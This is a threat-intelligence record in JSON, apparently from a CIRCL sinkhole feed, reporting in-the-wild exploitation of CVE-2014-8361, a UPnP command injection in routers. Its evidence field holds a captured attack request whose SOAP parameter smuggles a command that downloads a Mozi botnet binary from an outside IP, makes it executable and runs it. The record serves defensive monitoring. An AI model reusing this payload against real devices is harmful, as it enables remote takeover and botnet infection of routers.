{"uuid": "1b1e860e-2f21-4e03-8570-b3edc31111f9", "vulnerability": {"vulnId": "CVE-2014-8361", "altId": []}, "gcve": {"origin_uuid": "1a89b78e-f703-45f3-bb86-59eb712668bd", "gna": 1, "object_uuid": "1b1e860e-2f21-4e03-8570-b3edc31111f9"}, "status": {"exploited": true, "status_reason": "confirmed", "status_updated_at": "2026-03-12T10:16:09+00:00"}, "characteristics": {"severity": 100.0, "local_access_required": false, "remote_code_execution": true, "authentication_required": false}, "timestamps": {"asserted_at": "2026-03-12T10:16:09", "last_seen_at": "2026-03-12T10:16:09", "first_seen_at": "2026-03-12T10:16:09"}, "scope": null, "evidence": [{"type": "sinkhole", "source": "cti-feed.circl.lu", "signal": "in_the_wild_attempts", "confidence": 1.0, "details": {"note": "POST /picsdesc.xml HTTP/1.1                                                                 \r\nContent-Length: 630                                                                         \r\nAccept-Encoding: gzip, deflate                                                              \r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping                                                                                                                \r\nAccept: /                                                                                   \r\nUser-Agent: Hello-World                                                                                                                                                                  \r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope//\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn\r\n:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort\r\n><NewInternalClient>cd /var/; wget http://180.243.2.45:51387/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPort\r\nMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"}}], "references": null}